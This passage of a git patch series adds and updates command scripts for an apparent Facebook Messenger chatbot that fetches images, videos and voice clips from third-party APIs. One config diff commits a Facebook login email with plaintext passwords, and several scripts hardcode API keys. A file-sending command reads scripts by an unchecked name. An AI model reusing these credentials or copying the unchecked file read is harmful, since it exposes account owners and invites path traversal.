a.get(imageUrl, { responseType: 'arraybuffer' }); + if (!n.data || n.data.length === 0) { + console.error("Empty image data received from the API."); + return null; + } + + await b.ensureDir(e); + await b.writeFile(m, n.data, 'binary'); + + return b.createReadStream(m); + } catch (error) { + console.error("Error downloading image:", error); + return null; + } + }, + + addCoins: async function (o, amount) { + let p = await this.q(o); + if (!p) { + p = { money: 0 }; + } + p.money += amount; + await this.r(o, p); + }, + + q: async function (o) { + try { + const data = await b.readFile(f, 'utf8'); + const p = JSON.parse(data); + return p[o]; + } catch (error) { + if (error.code === 'ENOENT') { + await b.writeFile(f, '{}'); + return null; + } else { + console.error("Error reading user data:", error); + return null; + } + } + }, + + r: async function (o, data) { + try { + const p = await this.q(o) || {}; + const q = { ...p, ...data }; + const r = await this.s(); + r[o] = q; + await b.writeFile(f, JSON.stringify(r, null, 2), 'utf8'); + } catch (error) { + console.error("Error saving user data:", error); + } + }, + + s: async function () { + try { + const data = await b.readFile(f, 'utf8'); + return JSON.parse(data); + } catch (error) { + console.error("Error reading user data:", error); + return {}; + } + }, + + getTopUsers: async function (usersData, api) { + try { + const t = await this.s(); + const u = Object.keys(t); + const v = []; + + const w = d.promisify(api.getUserInfo); + + await Promise.all(u.map(async (o) => { + try { + const x = await w(o); + const y = x[o].name; + if (y) { + const z = t[o]; + v.push({ username: y, money: z.money }); + } + } catch (error) { + console.error("Failed to retrieve user information:", error); + } + })); + + v.sort((a, b) => b.money - a.money); + return v.slice(0, 5); + } catch (error) { + console.error("Error getting top users:", error); + return []; + } + } +}; From ba1782beb9f98a2920b0281a475245de909bd4e3 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:20:50 +0545 Subject: [PATCH 083/126] Create remini.js --- scripts/cmds/remini.js | 59 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 59 insertions(+) create mode 100644 scripts/cmds/remini.js diff --git a/scripts/cmds/remini.js b/scripts/cmds/remini.js new file mode 100644 index 0000000000..c3814f62c2 --- /dev/null +++ b/scripts/cmds/remini.js @@ -0,0 +1,59 @@ +const { writeFileSync, createReadStream, existsSync, mkdirSync } = require("fs"); +const { join } = require("path"); +const axios = require("axios"); +const tinyurl = require('tinyurl'); + +module.exports = { + config: { + name: "remini", + aliases: [], + version: "1.0", + author: "Kshitiz", + countDown: 20, + role: 0, + shortDescription: "remini", + longDescription: "enhance the image quality", + category: "tool", + guide: { + en: "{p}remini (reply to image)", + } + + }, + + onStart: async function ({ message, event, api }) { + api.setMessageReaction("🕐", event.messageID, (err) => {}, true); + const { type: a, messageReply: b } = event; + const { attachments: c, threadID: d, messageID: e } = b || {}; + + if (a === "message_reply" && c) { + const [f] = c; + const { url: g, type: h } = f || {}; + + if (!f || !["photo", "sticker"].includes(h)) { + return message.reply("❌ | Reply must be an image."); + } + + try { + const i = await tinyurl.shorten(g); + const { data: j } = await axios.get(`https://ai-tools.replit.app/remini?url=${encodeURIComponent(i)}`, { + responseType: "arraybuffer" + }); + + const k = join(__dirname, "cache"); + if (!existsSync(k)) { + mkdirSync(k, { recursive: true }); + } + + const l = join(k, "remi_image.png"); + writeFileSync(l, Buffer.from(j)); + + message.reply({ attachment: createReadStream(l) }); + } catch (m) { + console.error(m); + message.reply("❌ | Error occurred while enhancing image."); + } + } else { + message.reply("❌ | Please reply to an image."); + } + } +}; From 1e4eafa517d011cd04139ec8598210177357106e Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:22:55 +0545 Subject: [PATCH 084/126] Create render.js --- scripts/cmds/render.js | 64 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 64 insertions(+) create mode 100644 scripts/cmds/render.js diff --git a/scripts/cmds/render.js b/scripts/cmds/render.js new file mode 100644 index 0000000000..0c1d1f1255 --- /dev/null +++ b/scripts/cmds/render.js @@ -0,0 +1,64 @@ +const fs = require("fs"); +const path = require("path"); +const axios = require("axios"); +const tinyurl = require('tinyurl'); + +module.exports = { + config: { + name: "render", + aliases: [], + version: "1.0", + author: "Kshitiz", + countDown: 20, + role: 0, + shortDescription: "lado puti", + longDescription: " generate 3d type image & support image to image", + category: "fun", + guide: { + en: "{p}render reply to image or {p}render [prompt]" + } + }, + onStart: async function ({ message, event, args, api }) { + api.setMessageReaction("🕐", event.messageID, (err) => {}, true); + + try { + const promptApiUrl = "https://www.api.vyturex.com/describe?url="; + const renderApiUrl = "https://ai-tools.replit.app/render?prompt="; + + let prompt = ''; + + if (event.type === "message_reply") { + const attachment = event.messageReply.attachments[0]; + if (!attachment || !["photo", "sticker"].includes(attachment.type)) { + return message.reply("❌ | Reply must be an image."); + } + const imageUrl = await tinyurl.shorten(attachment.url); + const promptResponse = await axios.get(promptApiUrl + encodeURIComponent(imageUrl)); + prompt = encodeURIComponent(promptResponse.data); + } else { + prompt = encodeURIComponent(args.join(" ")); + } + + const renderResponse = await axios.get(renderApiUrl + prompt, { + responseType: "arraybuffer" + }); + + const cacheFolderPath = path.join(__dirname, "/cache"); + if (!fs.existsSync(cacheFolderPath)) { + fs.mkdirSync(cacheFolderPath); + } + const imagePath = path.join(cacheFolderPath, `${Date.now()}_generated_image.png`); + fs.writeFileSync(imagePath, Buffer.from(renderResponse.data, "binary")); + + const stream = fs.createReadStream(imagePath); + message.reply({ + body: "", + attachment: stream + }); + + } catch (error) { + console.error("Error:", error); + message.reply("❌ | An error occurred. Please try again later."); + } + } +}; From dd313d37be5e3af5586648c5f367fd560139951c Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:23:56 +0545 Subject: [PATCH 085/126] Create anigen.js --- scripts/cmds/anigen.js | 48 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) create mode 100644 scripts/cmds/anigen.js diff --git a/scripts/cmds/anigen.js b/scripts/cmds/anigen.js new file mode 100644 index 0000000000..8c96db441f --- /dev/null +++ b/scripts/cmds/anigen.js @@ -0,0 +1,48 @@ +const fs = require("fs"); +const path = require("path"); +const axios = require("axios"); + +module.exports = { + config: { + name: "anigen", + aliases: [], + author: "Kshitiz", + version: "1.0", + cooldowns: 20, + role: 0, + shortDescription: "Generate an image .", + longDescription: "Generates an image ", + category: "fun", + guide: "{p}anigen ", + }, + onStart: async function ({ message, args, api, event }) { + api.setMessageReaction("🕐", event.messageID, (err) => {}, true); + try { + const prompt = args.join(" "); + const emiApiUrl = "https://ai-tools.replit.app/emi"; + + const emiResponse = await axios.get(emiApiUrl, { + params: { + prompt: prompt + }, + responseType: "arraybuffer" + }); + + const cacheFolderPath = path.join(__dirname, "/cache"); + if (!fs.existsSync(cacheFolderPath)) { + fs.mkdirSync(cacheFolderPath); + } + const imagePath = path.join(cacheFolderPath, `${Date.now()}_generated_image.png`); + fs.writeFileSync(imagePath, Buffer.from(emiResponse.data, "binary")); + + const stream = fs.createReadStream(imagePath); + message.reply({ + body: "", + attachment: stream + }); + } catch (error) { + console.error("Error:", error); + message.reply("❌ | An error occurred. Please try again later."); + } + } +}; From 44f693c63e0748f6cd2fe74557ad45b719824984 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:24:36 +0545 Subject: [PATCH 086/126] Create lofianime.js --- scripts/cmds/lofianime.js | 45 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 scripts/cmds/lofianime.js diff --git a/scripts/cmds/lofianime.js b/scripts/cmds/lofianime.js new file mode 100644 index 0000000000..35cbeb43c8 --- /dev/null +++ b/scripts/cmds/lofianime.js @@ -0,0 +1,45 @@ +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports = { + config: { + name: "lofianime", + aliases: ["aestheticanime"], + author: "Kshitiz", + version: "1.0", + cooldowns: 5, + role: 0, + shortDescription: "Get aesthetic lo-fi anime videos", + longDescription: "Get aesthetic lo-fi anime videos to relax and enjoy.", + category: "fun", + guide: "{p}lofianime", + }, + + onStart: async function ({ api, event, args, message }) { + api.setMessageReaction("🕐", event.messageID, (err) => {}, true); + + try { + const response = await axios.get(`https://lofi-anime.onrender.com/kshitiz`, { responseType: "stream" }); + + const tempVideoPath = path.join(__dirname, "cache", `${Date.now()}.mp4`); + + const writer = fs.createWriteStream(tempVideoPath); + response.data.pipe(writer); + + writer.on("finish", async () => { + const stream = fs.createReadStream(tempVideoPath); + + message.reply({ + body: `Aesthetic Anime Video`, + attachment: stream, + }); + + api.setMessageReaction("✅", event.messageID, (err) => {}, true); + }); + } catch (error) { + console.error(error); + message.reply("Sorry, an error occurred while processing your request."); + } + } +}; From 32dd68bf0cdc24cc1b079b0b1d9393bf31f2a384 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:26:11 +0545 Subject: [PATCH 087/126] Create shoti.js --- scripts/cmds/shoti.js | 51 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 scripts/cmds/shoti.js diff --git a/scripts/cmds/shoti.js b/scripts/cmds/shoti.js new file mode 100644 index 0000000000..73aa0f7619 --- /dev/null +++ b/scripts/cmds/shoti.js @@ -0,0 +1,51 @@ +const axios = require("axios"); +const request = require("request"); +const fs = require("fs"); + +module.exports = { + config: { + name: "shoti", + aliases: [], + version: "1.0", + author: "kshitiz", + countDown: 20, + role: 0, + shortDescription: "shoti", + longDescription: "you need shoti broo", + category: "fun", + guide: "{pn} shoti", + }, + onStart: async function ({ api, event, message }) { + try { + + message.reply("Shoti command is starting..."); + + const response = await axios.post("https://api--v1-shoti.vercel.app/api/v1/get", { + apikey: "$shoti-1hea201h70g1ms5cgh8", + }); + + const file = fs.createWriteStream(__dirname + "/cache/shoti.mp4"); + + const rqs = request(encodeURI(response.data.data.url)); + rqs.pipe(file); + + file.on("finish", async () => { + + await api.sendMessage( + { + body: `@${response.data.data.user.username}`, + attachment: fs.createReadStream(__dirname + "/cache/shoti.mp4"), + }, + event.threadID, + event.messageID + ); + }); + + file.on("error", (err) => { + api.sendMessage(`Shoti Error: ${err}`, event.threadID, event.messageID); + }); + } catch (error) { + api.sendMessage("An error occurred while generating video:" + error, event.threadID, event.messageID); + } + }, +}; From 5e3f50a3d973b749ef808bd0e315e8082dbb2266 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:28:33 +0545 Subject: [PATCH 088/126] Create edit.js --- scripts/cmds/edit.js | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 scripts/cmds/edit.js diff --git a/scripts/cmds/edit.js b/scripts/cmds/edit.js new file mode 100644 index 0000000000..9a53c64317 --- /dev/null +++ b/scripts/cmds/edit.js @@ -0,0 +1,35 @@ +module.exports = { + config: { + name: "edit", + version: "1.0", + author: "Kshitiz", + role: 0, + shortDescription: "Edit a bot's message", + longDescription: "Edit a bot's message ", + category: "tools", + guide: { + en: "reply bot msg", + }, + }, + + onStart: async function ({ api, event }) { + + }, + + onChat: async function ({ api, event, message }) { + const targetUserId = "100056927749389";// add your uid + + + if (event.senderID.toString() === targetUserId && event.type === "message_reply") { + const editedMessage = event.body; + + try { + + await api.editMessage(editedMessage, event.messageReply.messageID); + } catch (error) { + console.error("", error); + api.sendMessage("", event.threadID); + } + } + }, +}; From 74ce39e10924248a7be7f4e33778df293009f24f Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:29:43 +0545 Subject: [PATCH 089/126] Create ss.js --- scripts/cmds/ss.js | 76 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 76 insertions(+) create mode 100644 scripts/cmds/ss.js diff --git a/scripts/cmds/ss.js b/scripts/cmds/ss.js new file mode 100644 index 0000000000..b6e12f647e --- /dev/null +++ b/scripts/cmds/ss.js @@ -0,0 +1,76 @@ +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports = { + config: { + name: "ss", + aliases: [], + author: "kshitiz", + version: "1.0", + cooldowns: 5, + role: 2, + shortDescription: { + en: "Generate a screenshot of a webpage." + }, + longDescription: { + en: "Generate a screenshot of a webpage" + }, + category: "𝗨𝗧𝗜𝗟𝗦", + guide: { + en: "{url}" + } + }, + onStart: async function ({ api, event, args, message }) { + api.setMessageReaction("🕐", event.messageID, (err) => {}, true); + let url; + + if (event.type === "message_reply") { + + if (event.messageReply.body && event.messageReply.body.startsWith("http")) { + url = event.messageReply.body; + } else { + return message.reply("The replied message does not contain a valid URL."); + } + } else { + + if (args.length === 0) { + return message.reply("Please provide a URL."); + } + + url = args[0]; + } + + try { + const response = await axios.get(`https://ss-kshitizz.onrender.com/ss?url=${encodeURIComponent(url)}`, { responseType: "stream" }); + + + const imagePath = path.join(__dirname, `/cache/ss_${Date.now()}.png`); + + + const writer = fs.createWriteStream(imagePath); + response.data.pipe(writer); + + + await new Promise((resolve, reject) => { + writer.on("finish", resolve); + writer.on("error", reject); + }); + + + await message.reply({ + body: "Screenshot generated:", + attachment: fs.createReadStream(imagePath) + }); + + + fs.unlinkSync(imagePath); + + + api.setMessageReaction("💚", event.messageID, (err) => {}, true); + } catch (error) { + + message.reply(`Error: ${error.message}`); + } + } +}; From a50057ac967a09c892407298b6202a8cc084ee59 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:30:10 +0545 Subject: [PATCH 090/126] Create aniquotes.js --- scripts/cmds/aniquotes.js | 45 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 scripts/cmds/aniquotes.js diff --git a/scripts/cmds/aniquotes.js b/scripts/cmds/aniquotes.js new file mode 100644 index 0000000000..8f051bca3d --- /dev/null +++ b/scripts/cmds/aniquotes.js @@ -0,0 +1,45 @@ +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports = { + config: { + name: "animequotes", + aliases: ["aniquotes"], + author: "Kshitiz", + version: "1.0", + cooldowns: 5, + role: 0, + shortDescription: "Get random anime quotes vdot", + longDescription: "Get random anime quotes vdo", + category: "anime", + guide: "{p}animequotes", + }, + + onStart: async function ({ api, event, args, message }) { + api.setMessageReaction("🕐", event.messageID, (err) => {}, true); + + try { + const response = await axios.get(`https://aniquotes-vdo.onrender.com/kshitiz`, { responseType: "stream" }); + + const tempVideoPath = path.join(__dirname, "cache", `${Date.now()}.mp4`); + + const writer = fs.createWriteStream(tempVideoPath); + response.data.pipe(writer); + + writer.on("finish", async () => { + const stream = fs.createReadStream(tempVideoPath); + + message.reply({ + body: `Random Anime Quotes`, + attachment: stream, + }); + + api.setMessageReaction("✅", event.messageID, (err) => {}, true); + }); + } catch (error) { + console.error(error); + message.reply("Sorry, an error occurred while processing your request."); + } + } +}; From ac2bbcf431609d67e4650e2ed4b9842c83381caf Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:31:23 +0545 Subject: [PATCH 091/126] Create tiktok.js --- scripts/cmds/tiktok.js | 51 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 scripts/cmds/tiktok.js diff --git a/scripts/cmds/tiktok.js b/scripts/cmds/tiktok.js new file mode 100644 index 0000000000..99fbee9324 --- /dev/null +++ b/scripts/cmds/tiktok.js @@ -0,0 +1,51 @@ +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports = { + config: { + name: "tiktok", + author: "Kshitiz", + version: "1.0", + cooldowns: 20, + role: 0, + shortDescription: "Search for TikTok videos", + longDescription: "Search for TikTok videos using keywords", + category: "media", + guide: "{p}tiktok keyword", + }, + + onStart: async function ({ api, event, args, message }) { + api.setMessageReaction("🕐", event.messageID, () => {}, true); + + try { + const query = args.join(" "); + const response = await axios.get(`https://api.betabotz.eu.org/api/search/tiktoks?query=${query}&apikey=vrGjIdJL`); + + if (response.data.status && response.data.result.data.length > 0) { + const videoUrl = response.data.result.data[0].play; + const videoFileName = `${response.data.result.data[0].video_id}.mp4`; + + + const tempVideoPath = path.join(__dirname, "cache", videoFileName); + const writer = fs.createWriteStream(tempVideoPath); + + const videoResponse = await axios.get(videoUrl, { responseType: "stream" }); + videoResponse.data.pipe(writer); + + writer.on("finish", () => { + + const videoStream = fs.createReadStream(tempVideoPath); + message.reply({ attachment: videoStream }); + api.setMessageReaction("✅", event.messageID, () => {}, true); + }); + } else { + message.reply("No TikTok videos found for the given query."); + api.setMessageReaction("❌", event.messageID, () => {}, true); + } + } catch (error) { + console.error(error); + message.reply("Sorry, an error occurred while processing your request."); + } + } +}; From 4e308b3826bdfc4841c2e384a8f1a2d97aff34b0 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 14 Mar 2024 05:34:57 +0545 Subject: [PATCH 092/126] Update config.dev.json --- config.dev.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config.dev.json b/config.dev.json index 4ce65ccf22..a3d9341fcd 100644 --- a/config.dev.json +++ b/config.dev.json @@ -1,7 +1,7 @@ { "facebookAccount": { "email": "myowm0968@gmail.com", - "password": "MIADD1", + "password": "HACKER.000", "2FASecret": "", "i_user": "", "proxy": null, From e38d4d0cb0e95f7cb553c9a323b7c36fdec08fbb Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 14 Mar 2024 05:36:27 +0545 Subject: [PATCH 093/126] Create sendmoney.js --- scripts/cmds/sendmoney.js | 51 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 scripts/cmds/sendmoney.js diff --git a/scripts/cmds/sendmoney.js b/scripts/cmds/sendmoney.js new file mode 100644 index 0000000000..c8e1c6422d --- /dev/null +++ b/scripts/cmds/sendmoney.js @@ -0,0 +1,51 @@ +module.exports = { + config: { + name: "sendmoney", + version: "1.0", + author: "Hassan", + shortDescription: { + en: "Send money to another user", + }, + longDescription: { + en: "Command to transfer money to another user by UID.", + }, + category: "Finance", + }, + onStart: async function ({ args, message, event, usersData }) { + const { senderID } = event; + const senderData = await usersData.get(senderID); + + if (!senderData) { + return message.reply("Error: Sender data not found."); + } + + const amount = parseInt(args[0]); + if (isNaN(amount) || amount <= 0) { + return message.reply("Please enter a valid positive amount to send."); + } else if (amount > senderData.money) { + return message.reply("Not enough money in your balance."); + } + + const recipientUID = args[1]; + if (!recipientUID) { + return message.reply("Error: Please provide a recipient UID."); + } + + const recipientData = await usersData.get(recipientUID); + if (!recipientData) { + return message.reply("Recipient not found."); + } + + await usersData.set(senderID, { + money: senderData.money - amount, + data: senderData.data, + }); + + await usersData.set(recipientUID, { + money: (recipientData.money || 0) + amount, + data: recipientData.data, + }); + + return message.reply(`Successfully sent $${amount} to UID: ${recipientUID}.`); + }, +}; From 4072d30b106ee923b1e6c6e933ff45960b3ea67e Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 14 Mar 2024 05:37:11 +0545 Subject: [PATCH 094/126] Create file.js --- scripts/cmds/file.js | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) create mode 100644 scripts/cmds/file.js diff --git a/scripts/cmds/file.js b/scripts/cmds/file.js new file mode 100644 index 0000000000..bbc9b9bb49 --- /dev/null +++ b/scripts/cmds/file.js @@ -0,0 +1,30 @@ +const fs = require('fs'); + +module.exports = { + config: { + name: "file", + version: "1.0", + author: "OtinXShiva", + countDown: 5, + role: 2, + shortDescription: "Send bot script", + longDescription: "Send bot specified file ", + category: "owner", + guide: "{pn} file name. Ex: .{pn} filename" + }, + + onStart: async function ({ message, args, api, event }) { + const fileName = args[0]; + if (!fileName) { + return api.sendMessage("Please provide a file name.", event.threadID, event.messageID); + } + + const filePath = __dirname + `/${fileName}.js`; + if (!fs.existsSync(filePath)) { + return api.sendMessage(`File not found: ${fileName}.js`, event.threadID, event.messageID); + } + + const fileContent = fs.readFileSync(filePath, 'utf8'); + api.sendMessage({ body: fileContent }, event.threadID); + } +}; From 81138ee44eb5fc982017cad5598d37f661ed4999 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 14 Mar 2024 05:38:00 +0545 Subject: [PATCH 095/126] Update video.js --- scripts/cmds/video.js | 53 ++++++++++++++++++++++++++++++------------- 1 file changed, 37 insertions(+), 16 deletions(-) diff --git a/scripts/cmds/video.js b/scripts/cmds/video.js index d69b97f5d2..ae87cd04e8 100644 --- a/scripts/cmds/video.js +++ b/scripts/cmds/video.js @@ -2,13 +2,12 @@ const axios = require("axios"); const fs = require('fs-extra'); const path = require('path'); const { getStreamFromURL, shortenURL, randomString } = global.utils; -const ytdl = require("ytdl-core"); -const yts = require("yt-search"); async function video(api, event, args, message) { api.setMessageReaction("🕢", event.messageID, (err) => {}, true); try { let title = ''; + let shortUrl = ''; const extractShortUrl = async () => { const attachment = event.messageReply.attachments[0]; @@ -19,35 +18,57 @@ async function video(api, event, args, message) { } }; + let videoId = ''; if (event.messageReply && event.messageReply.attachments && event.messageReply.attachments.length > 0) { - const shortUrl = await extractShortUrl(); + shortUrl = await extractShortUrl(); const musicRecognitionResponse = await axios.get(`https://youtube-music-sooty.vercel.app/kshitiz?url=${encodeURIComponent(shortUrl)}`); title = musicRecognitionResponse.data.title; + const searchResponse = await axios.get(`https://youtube-kshitiz.vercel.app/youtube?search=${encodeURIComponent(title)}`); + if (searchResponse.data.length > 0) { + videoId = searchResponse.data[0].videoId; + } + + shortUrl = await shortenURL(shortUrl); } else if (args.length === 0) { - message.reply("Please provide a video name."); + message.reply("Please provide a video name or reply to a video or audio attachment."); return; } else { title = args.join(" "); + const searchResponse = await axios.get(`https://youtube-kshitiz.vercel.app/youtube?search=${encodeURIComponent(title)}`); + if (searchResponse.data.length > 0) { + videoId = searchResponse.data[0].videoId; + } + + const videoUrl = await axios.get(`https://youtube-kshitiz.vercel.app/download?id=${encodeURIComponent(videoId)}`); + if (videoUrl.data.length > 0) { + shortUrl = await shortenURL(videoUrl.data[0]); + } } - const searchResults = await yts(title); - if (!searchResults.videos.length) { + if (!videoId) { message.reply("No video found for the given query."); return; } - const videoUrl = searchResults.videos[0].url; - const stream = await ytdl(videoUrl, { filter: "audioandvideo" }); + const downloadResponse = await axios.get(`https://youtube-kshitiz.vercel.app/download?id=${encodeURIComponent(videoId)}`); + if (downloadResponse.data.length === 0) { + message.reply("Failed to retrieve download link for the video."); + return; + } - const fileName = `puti.mp4`; - const filePath = path.join(__dirname, "cache", fileName); - const writer = fs.createWriteStream(filePath); + const videoUrl = downloadResponse.data[0]; + const writer = fs.createWriteStream(path.join(__dirname, "cache", `${videoId}.mp4`)); + const response = await axios({ + url: videoUrl, + method: 'GET', + responseType: 'stream' + }); - stream.pipe(writer); + response.data.pipe(writer); writer.on('finish', () => { - const videoStream = fs.createReadStream(filePath); - message.reply({ body: `📹 Playing: ${title}`, attachment: videoStream }); + const videoStream = fs.createReadStream(path.join(__dirname, "cache", `${videoId}.mp4`)); + message.reply({ body: `📹 Playing: ${title}\nDownload Link: ${shortUrl}`, attachment: videoStream }); api.setMessageReaction("✅", event.messageID, () => {}, true); }); @@ -69,9 +90,9 @@ module.exports = { countDown: 10, role: 0, shortDescription: "play video from youtube", - longDescription: "play video from youtube support audio recogonization.", + longDescription: "play video from youtube support audio recognition.", category: "music", - guide: "{p} video videoname / reply to audio or vdo" + guide: "{p} video videoname / reply to audio or video" }, onStart: function ({ api, event, args, message }) { return video(api, event, args, message); From 2ba8e6ba5324689b6229e4e2b85480f44dc6c2f1 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 14 Mar 2024 05:38:34 +0545 Subject: [PATCH 096/126] Update sing.js --- scripts/cmds/sing.js | 114 ++++++++++++++++--------------------------- 1 file changed, 43 insertions(+), 71 deletions(-) diff --git a/scripts/cmds/sing.js b/scripts/cmds/sing.js index 48bd645758..68739aa64d 100644 --- a/scripts/cmds/sing.js +++ b/scripts/cmds/sing.js @@ -1,82 +1,54 @@ -const axios = require("axios"); -const fs = require('fs-extra'); -const path = require('path'); -const { getStreamFromURL, shortenURL, randomString } = global.utils; -const ytdl = require("ytdl-core"); -const yts = require("yt-search"); +const axios = require('axios'); +const supportedIds = ["rachel", "drew", "clyde", "paul", "domi", "dave", "fin", "sarah", "antoni", "thomas", "charlie", "george", "emily", "elli", "callum", "patrick", "harry", "liam", "dorothy", "josh", "arnold", "charlotte", "alice", "matilda", "matthew", "james", "joseph", "jeremy", "michael", "ethan", "chris", "gigi", "freya", "brian", "grace", "daniel", "lily", "serena", "adam", "nicole", "bill", "jessie", "sam", "glinda", "giovanni", "mimi"]; -async function sing(api, event, args, message) { - api.setMessageReaction("🕢", event.messageID, (err) => {}, true); - try { - let title = ''; - - - const extractShortUrl = async () => { - const attachment = event.messageReply.attachments[0]; - if (attachment.type === "video" || attachment.type === "audio") { - return attachment.url; - } else { - throw new Error("Invalid attachment type."); - } - }; - - - if (event.messageReply && event.messageReply.attachments && event.messageReply.attachments.length > 0) { - const shortUrl = await extractShortUrl(); - const musicRecognitionResponse = await axios.get(`https://youtube-music-sooty.vercel.app/kshitiz?url=${encodeURIComponent(shortUrl)}`); - title = musicRecognitionResponse.data.title; - } else if (args.length === 0) { - message.reply("Please provide a song name."); - return; - } else { - title = args.join(" "); +module.exports = { + config: { + name: "voice", + version: "1.0", + author: "Rishad", + countDown: 5, + role: 0, + category: "Fun", + ShortDescription: "Generate voice using AI", + LongDescription: "Generates voice using an AI.", + guide: { + en: "{pn} (voice id) | texts\nExample: {pn} rachel | hey there\n{pn} list | Get the list of supported voice IDs" } + }, - - const searchResults = await yts(title); - if (!searchResults.videos.length) { - message.reply("No song found for the given query."); - return; - } + onStart: async function ({ api, args, message, event }) { + const { getPrefix, getStreamFromURL } = global.utils; + const p = getPrefix(event.threadID); - const videoUrl = searchResults.videos[0].url; - const stream = await ytdl(videoUrl, { filter: "audioonly" }); + const command = args.join(" ").split("|"); + if (command.length !== 2) { + if (args[0].toLowerCase() === 'list') { + return api.sendMessage(`Supported voice IDs are:\n ${supportedIds.join("\n")}`, event.threadID, event.messageID); + } + return message.reply(`❌Invalid command format. Use it like this:\n${p}voice rachel | Hey there`); + } - const fileName = `lado.mp3`; - const filePath = path.join(__dirname, "cache", fileName); - const writer = fs.createWriteStream(filePath); + const voiceId = command[0].trim().toLowerCase(); + const text = command[1].trim(); - stream.pipe(writer); + if (!supportedIds.includes(voiceId)) { + return message.reply(`❌Invalid voice ID. Supported IDs are:\n ${supportedIds.join("\n")}`); + } - writer.on('finish', () => { - const audioStream = fs.createReadStream(filePath); - message.reply({ body: `🎧 Playing: ${title}`, attachment: audioStream }); - api.setMessageReaction("✅", event.messageID, () => {}, true); - }); + const apiKey = 'fuck'; + const apiUrl = `https://for-devs.onrender.com/api/voice?text=${encodeURIComponent(text)}&voiceid=${voiceId}&apikey=${apiKey}`; - writer.on('error', (error) => { - console.error("Error:", error); - message.reply("error"); - }); - } catch (error) { - console.error("Error:", error); - message.reply("error"); - } -} + try { + const voiceStream = await getStreamFromURL(apiUrl); -module.exports = { - config: { - name: "sing", - version: "1.0", - author: "Kshitiz", - countDown: 10, - role: 0, - shortDescription: "play music from yt", - longDescription: "play music from yt support audio recogonization.", - category: "music", - guide: "{p}sing {msuicName} or reply to audio or vdo by {p}sing" - }, - onStart: function ({ api, event, args, message }) { - return sing(api, event, args, message); + if (voiceStream) { + return api.sendMessage({ attachment: voiceStream }, event.threadID, event.messageID); + } else { + return api.sendMessage('Failed to generate voice.', event.threadID, event.messageID); + } + } catch (error) { + console.error(error); + return api.sendMessage('Failed to generate voice.', event.threadID, event.messageID); + } } }; From 1c3e835ea8f7ba7dd9307dfd92784fabffce56d7 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Thu, 14 Mar 2024 05:39:48 +0545 Subject: [PATCH 097/126] Create autolink.js --- scripts/cmds/autolink.js | 365 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 365 insertions(+) create mode 100644 scripts/cmds/autolink.js diff --git a/scripts/cmds/autolink.js b/scripts/cmds/autolink.js new file mode 100644 index 0000000000..720ce0f3d9 --- /dev/null +++ b/scripts/cmds/autolink.js @@ -0,0 +1,365 @@ +const fs = require("fs-extra"); +const axios = require("axios"); +const cheerio = require("cheerio"); +const qs = require("qs"); +const { getStreamFromURL, shortenURL, randomString } = global.utils; + +module.exports = { + threadStates: {}, + config: { + name: 'autolink', + version: '1.1', + author: 'Kshitiz', + countDown: 5, + role: 0, + shortDescription: 'Auto video downloader for Instagram, Facebook, TikTok, and Twitter', + longDescription: '', + category: 'media', + guide: { + en: '{p}{n}', + } + }, + onStart: async function ({ api, event }) { + const threadID = event.threadID; + + if (!this.threadStates[threadID]) { + this.threadStates[threadID] = {}; + } + + if (event.body.toLowerCase().includes('autolink')) { + api.sendMessage("AutoLink is active.", event.threadID, event.messageID); + } + }, + onChat: async function ({ api, event }) { + if (this.checkLink(event.body)) { + const { url } = this.checkLink(event.body); + console.log(`Attempting to download from URL: ${url}`); + this.downLoad(url, api, event); + api.setMessageReaction("💐", event.messageID, (err) => {}, true); + } + }, + downLoad: function (url, api, event) { + const time = Date.now(); + const path = __dirname + 